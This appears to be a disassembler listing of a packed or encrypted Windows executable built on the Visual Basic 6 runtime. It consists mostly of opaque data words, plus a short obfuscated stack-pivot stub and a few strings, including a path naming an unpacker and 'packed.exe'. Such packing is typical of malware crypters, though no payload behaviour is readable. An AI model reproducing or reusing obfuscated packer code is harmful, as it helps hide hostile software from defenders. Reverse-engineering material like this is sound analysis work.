		dd 0A837A92Ch, 6F1CCF88h, 5A1ACEC7h, 0F6697F2Dh, 85C25DD1h
		dd 3AAED9AEh, 0A920633Ah, 25A9DEB1h, 0A8216639h, 61B053B6h
		dd 371213F7h, 0EC3A31CCh, 34C756B9h, 27BBE080h,	0F0842F78h
		dd 769h, 22DF100h, 0CD000005h, 0D645245Eh, 5B24A1D6h, 2ACF8298h
		dd 97ECF65Fh, 0B96FCF82h, 0A62F1A6Fh, 0CF82973Ch, 0FC740422h
		dd 3623A055h, 0B63095E2h, 0A5CF82C0h, 0DF04C073h, 0A28E9257h
		dd 0A5992F48h, 30F21DFCh, 0E3BA6C0Bh, 0D6457241h, 3B24A1D6h
		dd 4AA9C180h, 1304BFDEh, 0FF38E415h, 53FCD51Ch,	0B8AF3CEh
		dd 0A291E185h, 0EF8F394Eh, 345D54B0h, 30A493E4h, 0A81C6B30h
		dd 346DC4C8h, 613CAF52h, 82D85h, 0E4C7F00h, 74E8E21Dh
		dd 0B7358A7h, 6EE8E522h, 0D38B423Dh, 2F8332CAh,	0CEB9E298h
		dd 38475400h, 0C4C3E890h, 494B5010h, 0A92BB520h, 5B30CF88h
		dd 1E1ACED3h, 0F24D2DABh, 369FE829h, 0C64E60ACh, 0F02F79AFh
		dd 8D9EDCF3h, 0C4A8374h, 9BA18A35h, 81A0E76Eh, 6A5FCF89h
		dd 8940F9EBh, 0F3CE5ACFh, 3E493EEAh, 0AC9DEA8Ah, 8940B729h
		dd 0E3EB9CCFh, 470E2573h, 0B1EC8C38h, 70DC24B8h, 8EF4D210h
		dd 191F08B3h, 0D35465F0h, 0D2A7D8C3h, 4D927173h
		dd 0E036E2C6h, 9334A097h, 49299B3Ah, 0B92BAADFh, 9AC64D92h
		dd 0F413188Eh, 7A6DA0C0h, 84E32B53h, 0A57561B8h, 774EC7Ah
		dd 0BC60000h, 0AD25624Bh, 369BECB1h, 0AB246348h, 4E8582ABh
		dd 0C6710B10h, 0FA235B72h, 8895C10Dh, 4295177h,	8C91D103h
		dd 0ECF65F88h, 6FCF88AAh, 1D0E921Ch, 0E8DFEA1Fh, 3DBC77E7h
		dd 0CF88A1BCh, 1115BD6Fh, 26BC0CA9h, 0B281F9CFh, 0EF08F127h
		dd 8778A5C5h, 40EC1D5Dh, 0BA2007A4h, 845EE737h,	0D7CF8907h
		dd 67DCD741h, 1B43897Eh, 8C8C5B28h, 191D1A7Bh, 0A438D8BEh
		dd 286ECC7Eh, 0DE48CDAEh, 7DC65C7Dh, 63ABFDABh,	756F571Ah
		dd 0E356EC0Fh, 35000006h, 0B0CFDC9Ah, 4E39621Ah, 0B3D4D985h
		dd 304F5C1Ah, 40BCE199h, 0D48A4195h, 6616B8C7h,	0DA824A35h
		dd 6202B6D1h, 0A72E5B39h, 0CF88AA3Dh, 0CEC56D1Eh, 42435A1Ah
		dd 8054CE37h, 0D507C64Dh, 98AAC3E4h, 2F02944Ah,	0BDD09044h
		dd 831E02CAh, 3D5B75ACh, 61A6792Fh, 0B18F777h, 0F4231180h
		dd 0A1DDF601h, 2A54796Eh, 0D342C57Ch, 54CE3742h, 7C64E26h
		dd 0BDC24B11h, 7B3B25F0h, 2D09BBC8h, 6D6EB170h,	73D227ABh
		dd 0C64D9271h, 0BBE036E2h, 84E57827h, 0E69F0h, 0D0F10000h
		dd 346B13B7h, 96B5E1D0h, 35000002h, 435A1ACEh, 93F29780h
		dd 0C64D8091h, 0B7C056C2h, 88A2AD4Eh, 6ACC60CFh, 918C3276h
		dd 20F8A190h, 98D80CFBh, 134B8285h, 0B2EE3D0Ah,	300D6BD3h
		dd 8B7C2A8Ch, 5CA42AE1h, 0A39E741Ah, 8F613B9Ah,	26F2D8C4h
		dd 72F2E6D1h, 0CE6A5EA9h, 8614AC84h, 9018C27Ch,	9A3D840Ch
		dd 65A27D2Bh, 47A4F6Eh,	0F6297F09h, 95E2EA31h, 835A3730h
		dd 0AF226CFh, 7C542FA9h, 0C319ADD0h, 15000005h,	90EFBCBAh
		dd 2E59423Ah, 93F4B9A5h, 106F3C3Ah, 20DCC1B9h, 0B4AA2175h
		dd 463698E7h, 0BAA22A55h, 422296F1h, 0C74E3B59h, 0CF88AB5Dh
		dd 0CEE58DFEh, 42435A1Ah, 0D2E19D35h, 6F37365h,	8BA6D8F1h
		dd 0F120EBB8h, 0AE17B622h, 0C64D8034h, 76A7F127h, 84F73FE4h
		dd 15A6F0h, 0CCBB0000h,	0A7455818h, 0A41476D6h,	3FF2A4CCh
		dd 1422DA7h, 0CECD0000h, 37325A1Ah, 727561AAh, 544BB87h
		dd 3B960000h, 0BD15723Bh, 26ABDCC1h, 0BB147338h, 3E95F2BBh
		dd 0F6A15B40h, 6A332BA2h, 0D8C5B11Dh, 743921A7h, 0DCC1A113h
		dd 0DC46CFB8h, 7FCF88ACh, 1ACE620Ch, 9440435Ah,	5CEB9D4h
		dd 8A414659h, 45D0B9D4h, 0C64D80DBh, 63CAA880h,	6C0F0634h
		dd 0A6A5E2Dh, 0F7924121h, 4E39F084h, 6FB9D480h,	1AF354h
		dd 2D7B0000h, 0C8h, 5CB9D0CDh, 0C64D80CAh, 2CBDBD27h, 0B59945FCh
		dd 61000000h, 0EA1F1D0Eh, 0B78AF4DDh, 5CCBBCEh,	5E5F5E55h
		dd 0ADCF88A2h, 54798E7Bh, 0FF1E4089h, 881CF3A5h, 94A3E6B9h
		dd 0BB4D4020h, 0A1DD47CEh, 0AA7ECF88h, 0FDFBEC97h, 0A2D8890Ch
		dd 2DFBD8BDh, 6F8A7AE1h, 0EED4A775h, 47Eh, 0B07DFDD0h
		dd 1A037B4Fh, 0B17AE4EDh, 30FD7956h, 9982F8CFh,	0E9E034E3h
		dd 735BAC71h, 0E7ED1A03h, 6F59A677h, 1EE1E0Fh, 88ACA284h
		dd 30CAB1CFh, 0EA1F1D0Eh, 82CC776Bh, 3F48E0CFh,	0E5913D4Ah
		dd 0F66861CEh, 0CC7B6825h, 4C78CF82h, 0CB00FF2Ch, 7C516693h
		dd 295C2F02h, 0CC2BB520h, 5CECF82h, 0F5E24659h,	13821023h
		dd 62000004h, 6B13B7D0h, 0BCBC2B58h, 0A2B14ACBh, 54C4CF88h
		dd 9F9D8E39h, 0ECF65F6Ah, 72CF88A1h, 0E6DF7F3h,	4DDB8C83h
		dd 0D98A0B76h, 0FCD8BDD4h, 0F875E02Ch, 0C1DC756Fh, 3D925h
		dd 0B2A02B00h, 48349EE9h, 0AFAF2463h, 124C817Eh, 0A7D7FE09h
		dd 0FB4FFE76h, 8A75A6D4h, 0F4131844h, 708F9CDCh, 15F72444h
		dd 0AD7769ECh, 0AFDCCF88h, 1F1D0E07h, 0A2566BEAh, 0AB7DCF88h
		dd 0DDC16B5Eh, 8BB5E913h, 0D28A30C1h, 0F1AC7F08h, 0E3833542h
		dd 0BA1BCDBAh, 0D6326D11h, 915A4D40h, 3EE7E8Bh,	36F75500h
		dd 0F055E0D3h, 0D8C3AA62h, 6552A771h, 37B5273h,	0FD2E780Ch
		dd 7796D602h, 2C5D5BCCh, 82B490A9h, 4935E3CFh, 7C548836h
		dd 47B2906Bh, 99000003h, 24634836h, 827DAEAEh, 0F7081549h
		dd 8483A8D6h, 54200D4Dh, 0F06E65B9h, 82F2DC2Bh,	0F6666E99h
		dd 8EEEDA25h, 3826F9Dh,	0CF88AF21h, 0D0B14932h,	5E669E1Ch
		dd 30998D7Ah, 0D212D84Eh, 0D2A34EF6h, 0C3F58231h, 686156A3h
		dd 1B483BF6h, 0B9A128A9h, 0A3D442E6h, 4A3D3D94h, 7FE6DD81h
		dd 285157C0h, 8399E09Dh, 0C88913CFh, 2E8B6E5Ah,	0A6D6FE09h
		dd 0F716028Bh, 8315849Ah, 0F5616DCFh, 9D8C521Ah, 9B33AD14h
		dd 1AF5656Ch, 76A4F35Ah, 0D60E8DF0h, 0F9B1E829h, 28B8h
		dd 1D0E3E00h, 0EE6BEA1Fh, 5CF82B0h, 76205C72h, 0B0E4FA97h
		dd 0F7ECF82h, 0CB04F380h, 7926B88Bh, 68F9B1C3h,	0DAh, 5A1ACEEEh
		dd 0D1894043h, 443A8FA8h, 8F04BF49h, 0F6686156h, 0E484303Bh
		dd 1C7C0A9h, 0EBDD6A59h, 9F7EFEEAh, 0B8A9305h, 0C64D85E7h
		dd 33993AAEh, 0ACDD4Bh,	0A4BC8488h, 0F20218ACh,	0B81F9C4Eh
		dd 44432A19h, 0ABDD090h, 0D9EE1B21h, 0B69689F5h, 0F379694Fh
		dd 3A099FB2h, 7001C64Fh, 4334CF83h, 0B8E1D08Eh,	9B8C3B60h
		dd 0DD7DA961h, 6BBD42FDh, 8AC8B71Eh, 8197D8BAh,	12487F78h
		dd 0A7D7FE09h, 6348D257h, 962C4F75h, 1FAh, 0CCD1814Ch
		dd 366717BBh, 0CDDE8049h, 3C611DB2h, 0C5D6844Bh, 0A52C802Fh
		dd 3797E8B5h, 0A3295647h, 2395F2BBh, 4D3A5A43h,	88AF5EC8h
		dd 0E48EFDCFh, 465707CEh, 0C5508F39h, 0C64D805Bh, 897E2800h
		dd 0E726567Eh, 0FEA8C8FCh, 0A998C607h, 1D0E36C4h, 0EE6BEA1Fh
		dd 5CF82B0h, 60CC2AD7h,	7D2BF795h, 24527B8Ch, 45DB3A0Dh
		dd 0ACCF832Ah, 2E593424h, 19D7B6A6h, 3D9467B6h,	0A20DEB3Dh
		dd 5954FB73h, 0CB7DF9B1h, 0C5000000h, 435A1ACEh, 0AA328940h
		dd 16A8CE48h, 67791A9Bh, 0ECC64E16h, 16AE389Dh,	7BADC64Eh
		dd 7B8E7B2Dh, 4E17081Ah, 86A14BC6h, 62DE802Bh, 4A3DF4A2h
		dd 4DF407ABh, 0D7F710C6h, 359F8CA7h, 0AD176835h, 6D5D2CDh
		dd 0CE06F106h, 7A548F8Eh, 0AC95ACFAh, 83185C29h, 0FC21F7CFh
		dd 0ABDCDC4Bh, 0BA78F42Ah, 0C0C95FD8h, 2A5D1DC7h, 7B06BDA1h
		dd 815458Ch, 62AAD0F7h,	75635CD5h, 0F39D2954h, 45000000h
		dd 0A0DFCC8Ah, 1E69322Ah, 0A3E4C9B5h, 0FF2C2Ah,	0F08C91C9h
		dd 0A4DAF145h, 16468877h, 0AAD2FA05h, 12528681h, 77DE0B09h
		dd 0CF88B06Dh, 0CE159DEEh, 39465707h, 5BC5508Fh, 0C64D80h
		dd 5184687h, 56A3F5A3h,	3CF77761h, 1ACE9D55h, 3742435Ah
		dd 4D8054CEh, 4AD507C6h, 0B36144CAh, 15221187h,	0EDDAC3A3h
		dd 0FE09FEFEh, 3A3368D0h, 18CCEA41h, 0BFCAB38Eh, 0A41C3A2Dh
		dd 5A699ABFh, 89564E7Bh, 7C9385CFh, 101D5D87h, 91CD06F1h
		dd 2C172A7Eh, 30E5B8B8h, 26008B8Ch, 0F32A5479h,	7F9EDEF0h
		dd 0C9FB1AE5h, 0D4A1F01Fh, 8EF22648h, 0D126972Eh, 99D87274h
		dd 7C37E125h, 78A5C5EFh, 537C5D87h, 0E98EC23h, 7BFBD40Fh
		dd 841376A4h, 94D400F7h, 27142F79h, 91F0BDBDh, 0F02F2FA6h
		dd 6EA1C1F3h, 54798C1Ah, 0B82C172Ah, 301E5B8h, 0E9000000h
		dd 3CE9565h, 9D473C53h,	0FC5C2DDh, 0BB13504Fh, 289FE4BBh
		dd 0A1285B32h, 2CA1E6B9h, 0A3285B32h, 2B9FE4BBh, 52805C33h
		dd 0C281E289h, 4, 4EA81h, 14870000h, 1C895C24h,	0E7895724h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 56243489h,	0C681E689h
		dd 4, 8704EE83h, 895C2434h
		dd 8868241Ch, 8B093B22h, 0C4832434h, 1C8B5404h,	4C48124h
		dd 50000000h, 8B8h, 56D80100h, 49240481h, 8F00B71Fh, 49288100h
		dd 5800B71Fh
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_552B74
; ---------------------------------------------------------------------------
		dw 44D9h
		dd 85C9B6A7h, 31A1B834h, 0C503093Bh, 42D8E0FFh,	0D91854B6h
		dd 74F555E9h, 10E87A24h, 6998023Ah, 5657090Bh, 15CB3D26h
		dd 77CD326Ch, 0FA7A5472h, 395E3E52h, 39016C4h, 70995411h
		dd 593D030Ah, 48984AAEh, 939202CBh, 0BD12424Bh,	0CAE55F1Ch
		dd 6CA457A4h, 2B8E2CAAh, 4C6F5DDAh, 91B70278h, 4BB568A9h
		dd 9DA54E83h, 6D6560D5h, 8D8D5B42h, 93B3387h, 80DABF66h
		dd 16298D89h, 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0E2C454C3h, 8C610727h, 0C7DE8B66h
		dd 35287D85h, 677C09h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0B66D5272h, 0F0DF537h
		dd 380h, 0DF8B6600h, 0C7D2B70Fh, 35225585h, 9, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0BF467806h, 8BC9A41Eh, 0F5B5FF26h, 6A093511h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0BEB1C352h, 21DE71B4h, 95FF00B3h, 9350D05h, 9E9h, 573C2400h
		dd 0E2C6B49Fh, 6A0AA1h,	82995FFh, 0C08B0935h, 8C975CEBh
		dd 59D75859h, 514DE381h, 0B1F030DCh, 0C524DB26h, 26EC294Ah
		dd 430B93E8h, 0C9FDEF9Dh, 27949252h, 0D1754A99h, 4CB49D86h
		dd 9AC76D3Dh, 671E4034h, 76B82558h, 409F43EDh, 353EED13h
		dd 0BF4BD804h, 60ACDC0Dh, 4B34C355h, 542FE4FBh,	1E1D438Bh
		dd 39B3AA3Ah, 0C9BED8E1h, 0CE85C1Dh, 41000000h,	71F25418h
		dd 0A09748AFh, 8BEC8531h, 351D9DB5h, 8D8B5809h,	9351AE1h
		dd 5E25C081h, 890F0000h, 0Eh, 9E9h, 0D6548C00h,	0CC95C304h
		dd 5C68FE7Eh, 9000017h,	350825BDh, 0BE665B09h, 388B5F1Ah
		dd 0CE9h, 93553000h, 64A7D2E6h,	4A26AE69h, 8EF81CCh, 8B5DCEFCh
		dd 35179995h, 46F78109h, 0E84E0617h, 8,	0E1C5E5FDh, 0AF8EE42Ch
		dd 0FE9h, 0BDEAFF00h, 82D4E6BDh, 1A0AC4BCh, 4BEF3B6Ah
		dd 0CFF7815Eh, 664D9684h, 0AF8F281h, 0DE816657h, 8F5F88h
		dd 13E18D29h, 0E8830935h, 15952901h, 48093510h,	4BF84848h
		dd 0FF8C850Fh, 0F78AFFFFh, 354C8D8Dh, 0EBBE093Bh, 8968C26Ah
		dd 3516298Dh, 0CE816609h, 85C7DC92h, 935287Dh, 68D0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EBC35545h, 0C7F8752Fh
		dd 35225585h, 9, 0CB8B6000h, 0BE8h, 703CEF00h, 51861D3Bh
		dd 0A4FDC047h, 0FF615BFCh, 350C45B5h, 2D9D8B09h, 8B09352Dh
		dd 352D4DB5h, 595FF09h,	6A09350Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 542BC355h
		dd 16B5FE67h, 918D890Dh, 6A093522h, 2995FF00h, 8B093508h
		dd 0BD48EBC0h, 39CD7813h, 67A3BA6Bh, 6BAB2107h,	886B377Ch
		dd 0FA2A381Bh, 34DCF5A4h, 4F709B2h, 0F2262692h,	0C8BD973Bh
		dd 888443A4h, 2C072CCAh, 0E40C3E92h, 53C7DC6Eh,	0C87E0EA3h
		dd 1BE959AFh, 8031B5ABh, 0A0D1275Ch, 0E8DA38ABh, 0Ch, 0E3D2EAB2h
		dd 50C8E9D4h, 0C275457Bh, 9E8h,	0A475AF00h, 0D9C3A8DEh
		dd 8166EA17h, 5A3E66F1h, 5DBD8B5Eh, 8109351Fh, 5EE0C6h
		dd 5E900h, 3E490000h, 689608F9h, 178Ah,	1F75BD89h, 0B6580935h
		dd 0B36FF33h, 35018995h, 0B70F5B09h, 0F9EB81F9h, 8B3F3D4Eh
		dd 351BFD8Dh, 1CEB8109h, 8B705B98h, 35274DBDh, 86EB8109h
		dd 0F91D6C8Bh, 8B661E89h, 0CCEE81F8h, 0E807A8D6h, 5, 0DD2DD2E4h
		dd 198B0F82h, 0E8000000h, 13h, 0B200D03Eh, 9CEA1C7Dh, 5FF3A918h
		dd 0FBBCE79Bh, 5FD788C7h, 0C8C6815Ah, 6607A8D6h, 48B4DDB9h
		dd 0FF8F850Fh, 0BD89FFFFh, 935049Dh, 15CE9h, 0E705C500h
		dd 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h, 656B6361h
		dd 78652E64h, 65h, 3Ah dup(0)
		db    0
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 0F6h, 33h, 0A7h
		dd 1A86E95Ch, 0C2680000h, 0E9093B39h, 0FFFA470Ch, 3B3AC468h
		dd 4702E909h, 8868FFFAh, 0E9093B3Bh, 0FFFA46F8h, 3B3C6468h
		dd 46EEE909h, 0A368FFFAh, 0E9093B3Ch, 0FFFA46E4h, 3B3D6D68h
		dd 46DAE909h, 0C068FFFAh, 0E9093B3Dh, 0FFFA46D0h, 3B3E0768h
		dd 46C6E909h, 1168FFFAh, 0E9093B44h, 0FFFA46BCh, 3B44AA68h
		dd 46B2E909h, 5268FFFAh, 0E9093B45h, 0FFFA46A8h, 3B466168h
		dd 469EE909h, 0B968FFFAh, 0E9093B46h, 0FFFA4694h, 3B477F68h
		dd 468AE909h, 3968FFFAh, 0E9093B48h, 0FFFA4680h, 3B48AE68h
		dd 4676E909h, 9968FFFAh, 0E9093B4Fh, 0FFFA466Ch, 3B507568h
		dd 4662E909h, 0F468FFFAh, 0E9093B50h, 0FFFA4658h, 4D4E6BC9h
		dd 920B968Bh, 574451CEh, 8B1089A1h, 603D5CD5h, 0CD642653h
		dd 1209CFCCh, 0CC621687h, 160ACECFh, 701C1489h,	0FB098832h
		dd 6C4F7C12h, 43AE2B47h, 0AA11DF9Fh, 0AAE5295Ch, 435CD04Ah
		dd 623A8D5Ah, 0E731346Ah, 0CFF11502h, 0CB24154h, 0E6ECD6h
		dd 28C6E813h, 619016CCh, 0E6EDD3h, 4D37AE13h, 8559418Ch
		dd 392692h, 2E650000h, 0B903A19Bh, 0AD1C3641h, 0F709C52Bh
		dd 0EE9A5A7Fh, 37265B0h, 0DE159B15h, 111684Eh, 19869813h
		dd 0CBC866DAh, 7064C128h, 0DBC91C75h, 8529CB02h, 0E99C92h
		dd 47EB0000h, 0F3C8802Bh, 261AC527h, 3D8529C8h,	0E91C9ACDh
		dd 108A6A89h, 0FF718019h, 64567663h, 0CCF6ACCBh, 0C81C357Ch
		dd 0A729C826h, 7C537927h, 0A1471C35h, 9628CE55h, 8A17089Dh
		dd 0EB0B8D64h, 0B7E4FD71h, 3580E725h, 86130F1Ch, 0D2CF6315h
		dd 4901941Fh, 0A7185F85h, 24961502h, 0E2668D0Ah, 613A5C12h
		dd 735B3386h, 56438917h, 0B1371300h, 4D520211h,	0E51157A4h
		dd 0F56B9539h, 68760CE8h, 0C0BCC3Dh, 0A0B8428Ah, 0BC38BC37h
		dd 6277EE10h, 2BAEC739h, 0A1D694BBh, 806A09E9h,	17F7h
		dd 0A9F2D785h, 0FE9F3A37h, 0A3F8E57Ah, 475445DDh, 9C019891h
		dd 920EA9Fh, 0DE550B90h, 1EE2BBh, 0DA560A93h, 0A4E8E0BDh
		dd 0FB08B4FEh, 0A023B012h, 0F2AB2E47h, 0B8E5F26Eh, 9E24BA0Eh
		dd 0A41C3641h, 3641B4FEh, 942EB01Ch, 2E3BE212h,	0D50BC39Bh
		dd 1503724Ah, 3BC928AEh, 13011195h, 0E4E5CF56h,	928529A9h
		dd 0D2BEh, 0AD150D00h, 1C2BDEDCh, 0AB3995E6h, 1C358421h
		dd 0E9639315h, 2C606C75h, 35844C76h, 4EA6481Ch,	99912BCFh
		dd 84FAC0DEh, 0E8EE1C35h, 8D69EB06h, 4F7F1A13h,	0CD24B5ADh
		dd 9424AB4Bh, 1C358876h, 0B915829Eh, 88E5CF15h,	0BFE11C35h
		dd 829E6237h, 4651DE15h, 0DDA03E8Eh, 0DD1502AEh, 0C15E4BE3h
		dd 24DA1AD4h, 0E7724A82h, 2EE12A75h, 1FB8B04Eh,	0C7A450D4h
		dd 0D9F5ADF8h, 0CC441ECBh, 0FCD0D60Bh, 82716E02h, 0A852F6FEh
		dd 0ED7328B1h, 5C816574h, 41E9A1E9h, 16F5B8A2h,	0D1830000h
		dd 3C31A7F4h, 0EF80F8A5h, 3F37A9F2h, 0E67F019Ah, 98F1AAF3h
		dd 3D5E7BF2h, 6835A0BBh, 3C617EF0h, 6E2FA8C4h, 0E6CC12BAh
		dd 0E212FB07h, 2E4712B1h, 0F26EF2ABh, 1513B8E5h, 976974EBh
		dd 84F6FE9Bh, 7267FFE8h, 0F3FD7Fh, 9607908Ch, 0A626FEC9h
		dd 3591DF8h, 0F1DD0315h, 0B54154CFh, 26189E2Eh,	8CD91301h
		dd 188EBF98h, 0B6D99285h, 0BA000000h, 0D2E50449h, 1D0CD2FAh
		dd 1B150355h, 0C3BB8995h, 5EBF77CEh, 0A53B934Bh, 3753A376h
		dd 4E705C82h, 0B130C4D1h, 13BB9326h, 73933BCDh,	2E47B940h
		dd 0B638A5BBh, 2B47B93Bh, 35C143AEh, 4B75597Fh,	0FD1CAD7h
		dd 355E8613h, 68C742A8h, 1631E1C9h, 9DBF0000h, 809D6338h
		dd 63FC8419h, 0BBB32576h, 62FB7D1Eh, 1C6D2677h,	0B9E2F76Eh
		dd 0F4A92C47h, 0B8E5F26Ch, 0EAB32C40h, 72588646h, 6612FB06h
		dd 2B479635h, 0DF9F43AEh, 8BA6BE45h, 6161E30Eh,	0FFC3FF5Ah
		dd 7C37D0F4h, 9E29CD96h, 4973310Bh, 3D1C3584h, 6B79559Bh
		dd 15029BACh, 128FA01Ah, 0F1AA2CE2h, 0E5044942h, 0CD2FAD2h
		dd 1503551Dh, 0BB89951Bh, 91E9A1DFh, 0D6896F3Ah, 0F2E29EFh
		dd 315D717Fh, 18AD4973h, 0FDE4798Eh, 0F7AD21C7h, 8E18ADCDh
		dd 2BCF27C9h, 0E5BFA675h, 0A54C5286h, 7663FF01h, 0E8A0F37Eh
		dd 0B748BEE4h, 14A68DE5h, 0F3757C1Dh, 48FFC5DBh, 0F5FB8E25h
		dd 814D5301h, 0A5F6E37Fh, 62803F33h, 8E254858h,	0B9B44A4Ch
		dd 0D316CE20h, 0CA77B0C3h, 15553F27h, 71E30000h, 9C914754h
		dd 4FE09805h, 9F974952h, 46DFA1FAh, 38514A53h, 0DDBEDB52h
		dd 895001Bh, 0DCC1DE50h, 0E8F0824h, 862C721Ah, 8212FB05h
		dd 2B477251h, 0CB2936AEh, 2DB4E99Fh, 151645h, 11B6A400h
		dd 4059D48Ch, 0F8AA55Bh, 4552CA8Eh, 1089A058h, 0FFB908Bh
		dd 661A8316h, 0DD3C8CDh, 63158613h, 0E7C9D2CFh,	5D3F9A7h
		dd 16C712FBh, 0AE2B47B5h, 35EDB843h, 49480B99h,	7C2C1503h
		dd 31B018Ah, 3C82A96h, 0C307C729h, 0B6971Dh, 0E90D9313h
		dd 19EE4E14h, 0E8F6D68Eh, 0BCDCA59h, 0FFE5395Fh, 809E5DE7h
		dd 0F1919722h, 112D20A2h, 92D00980h, 23CAA62Eh,	935D930Eh
		dd 0BB76A53Bh, 3A82785Ah, 98B31EA4h, 5A941A86h,	0F1B90C97h
		dd 0E926178h, 0BA94ECE0h, 7E4FDD48h, 4C802CC8h,	0D81CB9B2h
		dd 70D7D44Ah, 4686287Fh, 0AF1FB8B4h, 6A89100Dh,	0C7390EE6h
		dd 0B6233EABh, 0AF37B93Bh, 8644E4A6h, 4CC2AC37h, 0DA000014h
		dd 0BE425B78h, 0F36536A3h, 0C43C617Ch, 0EE722BACh, 82396277h
		dd 0F1E88109h, 9A3F34ACh, 0F4E17F01h, 0A43D31A7h, 677D51F7h
		dd 12FB045Dh, 2B874C59h, 1C3641A1h, 365213B5h, 41A1271Ch
		dd 13B51C36h, 431C3642h, 2132B22Fh, 0BCE99FCBh,	13F94D35h
		dd 0D5870000h, 3835ABF0h, 0EB84FCA1h, 332BADEEh, 0EA83F5A6h
		dd 94E5AEEFh, 415A7FF6h, 6C31A4BFh, 405D7AF4h, 623BA4B8h
		dd 3A801E6Eh, 2E12FB04h, 9B2E1E9Dh, 6AD50BC3h, 4E150366h
		dd 0FB2D9C48h, 0F170F2D4h, 13B209h, 0B5124000h,	0E4FD70E8h
		dd 0B32E41B7h, 0D9FE76EAh, 0B4253CC4h, 0AB5F2CE7h, 27627B2h
		dd 0A92F6C69h, 0EF712AB7h, 93356673h, 31FA53Bh,	8A1B12FBh
		dd 0AE2B4749h, 445DD143h, 17FD10ADh, 7908832h, 0E48C68ECh
		dd 894FFDA9h, 2DBEh, 0A52B0D00h, 0D51C3641h, 735B4059h
		dd 2ACAD749h, 6D365094h, 0DD81701Ch, 6A981BA5h,	0DAFB8E34h
		dd 5C648A1Bh, 599D4938h, 133A71h, 2B47A200h, 0EDB843AEh
		dd 0AFF59935h, 1C364205h, 7317DF01h, 36E162Dh, 0CFCCD215h
		dd 0E1EDA5F0h, 0CE352CC3h, 0AE1EC00Bh, 6C87100Ch, 13850CE8h
		dd 321C811Ch, 8F79344Ah, 7A7A8901h, 3628E1E4h, 831E131Ch
		dd 4A58341Ah, 1C362880h, 8827274h, 0F3658C15h, 1C90637Eh
		dd 89337104h, 7D1C3628h, 0EA5E955Bh, 0FA8D6471h, 0C43E392Bh
		dd 879A6D57h, 47A9362Ah, 13197456h, 0AF518950h,	0E2B5F9B2h
		dd 2968CCECh, 4CA82CC7h, 17A9Dh, 9B2EEE00h, 3ED50BC3h
		dd 0BA150343h, 0D64BBD34h, 130ED2CBh, 0F3FD9A96h, 504E7000h
		dd 0C95A1301h, 0C8BEFEDBh, 0AE87239Ch, 0CCFEE4DCh, 5D9DF039h
		dd 6D0A2799h, 13D8D37h,	0E7CB8713h, 0B4214BF2h,	6666880Eh
		dd 3367C22h, 0AC321301h, 34BFDC52h, 0D86744B0h,	2BB915CDh
		dd 0BCE1AD8h, 83FA8CDCh, 1170A44Dh, 89A014DFh, 5CD58B10h
		dd 9E26B63Dh, 0AE1C35CEh, 9D94674Dh, 44D99FFCh,	0CEF0965Dh
		dd 2EB24156h, 9ED954C6h, 35CEBA00h, 0C628AE1Ch,	7F9BD2Bh
		dd 5876A6Fh, 0C5B0A4F1h, 0C66C31A8h, 89506C87h,	4EE0h
		dd 0F4D2AA00h, 0C8721FB5h
		dd 47700FE7h, 0D448AB2Eh, 43B53C5Dh, 9E44AF2Ah,	3641BA00h
		dd 0D628AE1Ch, 47B9385Dh, 86D7AD28h, 0BC29DB9Eh, 93243DC8h
		dd 3641674Dh, 16839F1Ch, 0B8253AACh, 0EA14B836h, 0BA8F6774h
		dd 4FF9B518h, 85B289h, 2EE10000h, 0D50BC39Bh, 15035F4Eh
		dd 5123ECD4h, 6529CC62h, 9E22D1C8h, 0E8EEA450h,	0FF9A9709h
		dd 5A47DA9Eh, 91082597h, 0B3A1F262h, 4F4C55C8h,	476D3357h
		dd 431300C8h, 0CDC8639Dh, 73448929h, 3A239285h,	64000000h
		dd 0FBF1AD15h, 42B6C918h, 0BB891FB2h, 9717CD13h, 0D931C35h
		dd 0A7BE40E6h, 8A2CC232h, 3E1C3597h, 0B5FBE7CDh, 49E5D7F7h
		dd 0EAF8A450h, 1C359810h, 719902A4h, 7,	3AD1A2h, 47020000h
		dd 0A046AD28h, 868327E0h, 0EBF9E18Eh, 1C3610E1h, 0D91DD3D5h
		dd 0CECFCA67h, 678A170Ah, 0DD14D6DCh, 0C98C3A4Fh, 35C787E3h
		dd 55A138h, 0C7DA3314h,	7A8D894Fh, 3E00000Bh, 2BC6842Eh
		dd 0DFFA7587h, 759C8917h, 0B82D959Dh, 39C307CCh, 0B537BA27h
		dd 8B0D852Fh, 975F8192h, 0FB3196F7h, 20D112h, 2E020000h
		dd 0D806C684h, 1C3641F2h, 0A331C0E6h, 0B5458EB7h, 223B297Ch
		dd 32C3C6EBh, 25C7Ch, 842E4B00h, 874C0BC6h, 120CAD15h
		dd 835C603Bh, 0FEC2DD61h, 3EB62C61h, 8C4750CCh,	0DE576965h
		dd 40B438BBh, 68AD15A1h, 65279FFAh, 7DA040B4h, 0A88507Eh
		dd 38h,	0B8253AC4h, 0EB15953Ch,	68A6974h, 7D4F63EEh, 0E8CF1556h
		dd 0E61C3641h, 0B14059D4h, 9719C72Fh, 47BE153Ch, 7026AD28h
		dd 26D163h, 0C5FD0000h,	8B2F687h, 0D67D7915h, 0BC6842Eh
		dd 41E8CF15h, 97191C36h, 47BE153Ch, 1526AD28h, 8C6772EBh
		dd 0B89BEC08h, 0A12BB915h, 951C3641h, 4209B3F1h, 0DBFD1C36h
		dd 3353E115h, 0E7FC527Bh, 3B834B4Eh, 0ED4FF9Dh,	3BD222A4h
		dd 6BC2FEA0h, 2B00F4FDh, 33994783h, 273BD15Fh, 67FB7581h
